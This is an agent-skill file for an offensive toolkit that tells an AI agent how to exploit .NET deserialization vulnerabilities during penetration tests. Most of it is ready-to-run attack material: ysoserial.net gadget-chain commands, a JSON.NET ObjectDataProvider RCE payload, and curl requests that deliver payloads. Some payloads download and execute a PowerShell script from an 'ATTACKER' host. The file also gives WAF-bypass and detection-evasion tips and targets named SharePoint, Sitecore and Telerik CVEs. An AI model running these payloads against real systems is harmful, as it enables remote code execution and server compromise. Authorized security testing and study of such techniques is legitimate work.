Agent skill
deserialization-dotnet
Exploit .NET deserialization vulnerabilities during authorized penetration testing.
Install this agent skill to your Project
npx add-skill https://github.com/blacklanternsecurity/red-run/tree/main/skills/web/deserialization-dotnet
SKILL.md
.NET Deserialization
You are helping a penetration tester exploit .NET deserialization vulnerabilities. The target application uses dangerous .NET formatters or exposes ViewState/JSON endpoints that deserialize untrusted data, enabling gadget chain attacks for remote code execution. All testing is under explicit written authorization.
Engagement Logging
Check for ./engagement/ directory. If absent, proceed without logging.
When an engagement directory exists:
- Print
[deserialization-dotnet] Activated → <target>to the screen on activation. - Evidence → save significant output to
engagement/evidence/with descriptive filenames (e.g.,sqli-users-dump.txt,ssrf-aws-creds.json).
State Management
Call get_state_summary() from the state MCP server to read current
engagement state. Use it to:
- Skip re-testing targets, parameters, or vulns already confirmed
- Leverage existing credentials or access for this technique
- Understand what's been tried and failed (check Blocked section)
Your return summary must include:
- New targets/hosts discovered (with ports and services)
- New credentials or tokens found
- Access gained or changed (user, privilege level, method)
- Vulnerabilities confirmed (with status and severity)
- Pivot paths identified (what leads where)
- Blocked items (what failed and why, whether retryable)
Prerequisites
- A .NET deserialization endpoint (ViewState, JSON API, SOAP, .NET Remoting, cookie, WCF)
- Tools:
ysoserial.exe(Windows — .NET Framework required), optionallyBlacklist3rorBadSecrets(Python) for machine key checks - Proxy (Burp Suite) for intercepting and modifying serialized data
Step 1: Assess
If not already provided, determine:
- Serialization format — look for these signatures:
| Signature | Format | Where Found |
|---|---|---|
AAEAAAD (base64) |
BinaryFormatter | Parameters, cookies, ViewState |
/w (base64 prefix) |
.NET ViewState | __VIEWSTATE parameter |
$type field in JSON |
JSON.NET (Newtonsoft) | API request/response bodies |
| SOAP XML with CLR types | SoapFormatter | .NET Remoting, WCF |
-
Entry point type:
__VIEWSTATEhidden form field (ASP.NET WebForms)- JSON request bodies with
$typeproperty - Cookies (Forms Authentication, session state)
- SOAP/WCF service endpoints (
.svc,.asmx) - .NET Remoting endpoints
-
Formatter in use — determines which gadgets work:
| Formatter | Risk | Gadgets |
|---|---|---|
| BinaryFormatter | Critical | TypeConfuseDelegate, PSObject, DataSet |
| LosFormatter | Critical | TypeConfuseDelegate, TextFormattingRunProperties |
| ObjectStateFormatter | Critical | TypeConfuseDelegate, PSObject |
| SoapFormatter | Critical | TypeConfuseDelegate, ActivitySurrogateSelector |
| NetDataContractSerializer | High | TypeConfuseDelegate, ObjectDataProvider |
| JSON.NET (TypeNameHandling != None) | High | ObjectDataProvider, WindowsIdentity |
| DataContractSerializer | Medium | ObjectDataProvider (if type controlled) |
| XmlSerializer | Medium | Limited (requires type control) |
Skip if context was already provided.
Step 2: ViewState Attacks
The most common .NET deserialization vector. ASP.NET serializes page state
into __VIEWSTATE, signed and optionally encrypted with machine keys.
Check for Known Machine Keys
# Blacklist3r — checks against 3000+ published machine keys
Blacklist3r.exe --viewstate "__VIEWSTATE_VALUE" --generator "__VIEWSTATEGENERATOR_VALUE"
# BadSecrets (Python — cross-platform)
pip install badsecrets
python -m badsecrets --viewstate "__VIEWSTATE_VALUE" --generator "GENERATOR"
Machine key sources:
- Public disclosure (GitHub, deployment guides, Stack Overflow)
- Sitecore deployment guide sample keys (CVE-2025-53690)
- SSRS default keys
.envorweb.configvia path traversal- After initial access: dump from IIS configuration
Generate ViewState Payload
# Basic RCE via LosFormatter + TypeConfuseDelegate
ysoserial.exe -f LosFormatter -g TypeConfuseDelegate \
-c "powershell.exe -nop -w hidden -c IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER/shell.ps1')" \
-o base64
# Using TextFormattingRunProperties (alternative gadget)
ysoserial.exe -f LosFormatter -g TextFormattingRunProperties \
-c "cmd /c whoami > c:\inetpub\wwwroot\proof.txt" -o base64
# ViewState plugin (handles signing/encryption with known keys)
ysoserial.exe -p ViewState \
--validationkey="VALIDATION_KEY_HEX" \
--decryptionkey="DECRYPTION_KEY_HEX" \
--generator="__VIEWSTATEGENERATOR" \
--validationalg="SHA1" \
--decryptionalg="AES" \
-c "cmd /c whoami"
Machine Key Format
<!-- web.config -->
<machineKey
validationKey="64_HEX_CHARS"
decryptionKey="32_HEX_CHARS"
validation="SHA1"
decryption="AES" />
- validationKey: 64 hex chars (256-bit HMAC key)
- decryptionKey: 32 hex chars (128-bit AES key)
- validation: SHA1, MD5, HMACSHA256, HMACSHA384, HMACSHA512
- decryption: AES, 3DES
Send Crafted ViewState
# POST to the target page with crafted __VIEWSTATE
curl -X POST https://TARGET/page.aspx \
-d "__VIEWSTATE=PAYLOAD_BASE64&__VIEWSTATEGENERATOR=GENERATOR&__EVENTVALIDATION=VALIDATION"
Step 3: JSON.NET Exploitation
When JSON.NET (Newtonsoft.Json) is configured with TypeNameHandling other
than None, the $type property controls which .NET type is instantiated.
Detect Vulnerable Configuration
Look for $type in JSON responses — if the application includes type
information in responses, it likely deserializes type information from
requests too.
ObjectDataProvider RCE
{
"$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
"MethodName": "Start",
"MethodParameters": {
"$type": "System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
"$values": ["cmd.exe", "/c whoami"]
},
"ObjectInstance": {
"$type": "System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
}
}
WindowsIdentity Bridge (JSON.NET → BinaryFormatter)
Enables BinaryFormatter gadgets in JSON.NET context:
# Generate via ysoserial.net
ysoserial.exe -f Json.Net -g WindowsIdentity -c "cmd /c whoami" -o base64
ysoserial.net JSON.NET Commands
# ObjectDataProvider
ysoserial.exe -f Json.Net -g ObjectDataProvider -c "calc" -o raw
# WindowsIdentity (bridge to BinaryFormatter chains)
ysoserial.exe -f Json.Net -g WindowsIdentity -c "cmd /c whoami" -o raw
# Output as base64
ysoserial.exe -f Json.Net -g ObjectDataProvider -c "whoami" -o base64
Step 4: BinaryFormatter / SoapFormatter
For endpoints using BinaryFormatter (signature: AAEAAAD in base64) or
SoapFormatter (SOAP XML with .NET CLR type names).
# BinaryFormatter with TypeConfuseDelegate
ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "calc.exe" -o base64
# BinaryFormatter with PSObject (pre-CVE-2017-8565 patch)
ysoserial.exe -f BinaryFormatter -g PSObject -c "calc.exe" -o base64
# BinaryFormatter with DataSet
ysoserial.exe -f BinaryFormatter -g DataSet -c "calc.exe" -o base64
# SoapFormatter
ysoserial.exe -f SoapFormatter -g TypeConfuseDelegate -c "calc.exe" -o base64
# NetDataContractSerializer
ysoserial.exe -f NetDataContractSerializer -g TypeConfuseDelegate -c "calc.exe" -o base64
# Send raw binary
ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "whoami" -o raw > payload.bin
curl -X POST https://TARGET/endpoint \
-H "Content-Type: application/x-net-serialized-object" \
--data-binary @payload.bin
Step 5: .NET Remoting
.NET Remoting endpoints use BinaryFormatter or SoapFormatter for communication. Often found on custom ports (9000-9999).
Detection
# Look for AAEAAAD signatures in responses
curl -s http://TARGET:PORT/ | base64 -d 2>/dev/null | xxd | head
# Check for .NET Remoting error messages
curl -s http://TARGET:PORT/ -H "Content-Type: application/octet-stream"
Exploitation
# If TypeFilterLevel=Full (unrestricted deserialization)
ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "cmd /c whoami" -o raw > payload.bin
curl -X POST http://TARGET:PORT/endpoint \
-H "Content-Type: application/octet-stream" \
--data-binary @payload.bin
# SoapFormatter variant
ysoserial.exe -f SoapFormatter -g TypeConfuseDelegate -c "cmd /c whoami" -o raw > payload.bin
curl -X POST http://TARGET:PORT/endpoint \
-H "Content-Type: text/xml" --data-binary @payload.bin
WAF Bypass for .NET Remoting
- Change HTTP version from 1.1 to 1.0
- Remove or modify Host header
- Use unusual Content-Type values
- Replace HTTP method with space character
Step 6: Framework-Specific Attacks
SharePoint
# CVE-2025-53770 — deserialization RCE (CVSS 9.8)
# Often chained with auth bypass (CVE-2025-53771 — Referer spoofing)
# Check for exposed WebPart config endpoints
# Generate payload for SharePoint
ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate \
-c "powershell -nop -c IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER/shell.ps1')" \
-o base64
Sitecore (CVE-2025-53690)
# ViewState deserialization on /sitecore/blocked.aspx
# Uses sample machine keys from Sitecore deployment guide (2017-2019)
# Check with Blacklist3r/BadSecrets first
python -m badsecrets --viewstate "__VIEWSTATE" --generator "GENERATOR"
Telerik UI (CVE-2019-18935)
# Telerik UI for ASP.NET AJAX deserialization
# POST to Telerik.Web.UI handler endpoints
# Check: /Telerik.Web.UI.DialogHandler.aspx
# Check: /Telerik.Web.UI.SpellCheckHandler.axd
Step 7: Blind Detection
When you can't see direct output from deserialization:
Time-based:
# Payload that causes delay
ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate \
-c "cmd /c timeout 10" -o base64
# Measure response time — >10s indicates execution
DNS callback:
ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate \
-c "cmd /c nslookup ID.oastify.com" -o base64
# Monitor Burp Collaborator for DNS callback
File write proof:
ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate \
-c "cmd /c echo PROOF > c:\inetpub\wwwroot\proof.txt" -o base64
# Then: curl https://TARGET/proof.txt
Step 8: Escalate or Pivot
OPSEC Notes
- ViewState payloads visible in POST data — anomalous size may trigger WAF
AAEAAADbase64 signatures may be flagged by IDS/WAF rules- ysoserial.net gadgets contain distinctive .NET class names detectable by EDR
- .NET Remoting exploitation may generate event log entries
- Machine key extraction from compromised servers should be done carefully — keys enable persistent access across all IIS applications
Troubleshooting
ysoserial.net Requires Windows
- ysoserial.net requires .NET Framework (Windows only)
- For cross-platform: generate payloads on a Windows VM/container, transfer base64 output to your attack machine
- Some gadgets available in alternative tools (BadSecrets for ViewState)
ViewState MAC Validation Fails
- Verify machine keys are correct (validationKey + decryptionKey)
- Check validation algorithm (SHA1, HMACSHA256, etc.) matches
- Verify
__VIEWSTATEGENERATORvalue matches the target page - Different .NET Framework versions may handle ViewState differently
- Try both encrypted and unencrypted ViewState generation
JSON.NET Payload Rejected
- Verify
TypeNameHandlingis notNone(check response for$typehints) - Include full assembly-qualified type names with Version/Culture/PublicKeyToken
- Some applications use custom
SerializationBinderthat whitelists types - Try WindowsIdentity gadget as bridge when ObjectDataProvider is blocked
Gadget Chain Not Working
- TypeConfuseDelegate: most reliable for BinaryFormatter-based formatters
- ObjectDataProvider: requires WPF (PresentationFramework.dll) on server — may not be present on Server Core installations
- PSObject: requires pre-CVE-2017-8565 patch level
- Try DataSet or TextFormattingRunProperties as alternatives
- Check .NET Framework version — some gadgets require specific versions
Recommended Agent Skills
Expand your agent's capabilities with these related and highly-rated skills.
credential-recovery
Offline credential and file recovery with hashcat and john. Use when any skill captures hashes (NTLM, Kerberos TGS/AS-REP, shadow, MSCACHE2) or encrypted files (ZIP, Office, PDF, KeePass, SSH key, 7z, RAR). Trigger phrases: "recover this hash", "offline recovery", "john", "hashcat", "zip2john", "password-protected file". Do NOT use for online password attacks (spraying, brute force against services) — use password-spraying instead.
remote-access-enumeration
Enumeration of remote access services: FTP, SSH, RDP, VNC, and WinRM. Checks anonymous access, default credentials, version vulnerabilities, and authentication methods. Use after network-recon identifies remote access ports.
smb-enumeration
SMB share enumeration, access testing, password policy extraction, and content searching. Enumerates shares via null session, guest, and authenticated access. Covers share listing, per-share access testing, MANSPIDER content search, and SMB vulnerability detection (signing, EternalBlue). Use after network-recon identifies SMB ports (139/445).
infrastructure-enumeration
Enumeration of infrastructure services: DNS, SMTP, SNMP, IPMI, NFS, TFTP, RPC/MSRPC, and HTTP/HTTPS surface detection. Checks zone transfers, open relays, default community strings, cipher zero, NFS exports, and web technology fingerprinting. Use after network-recon identifies infrastructure ports.
network-recon
Network reconnaissance, host discovery, port scanning, and OS fingerprinting. Produces a port/service map that the orchestrator uses to route to service-specific enumeration skills.
container-escapes
Container escape, Docker breakout, and Kubernetes exploitation.
Didn't find tool you were looking for?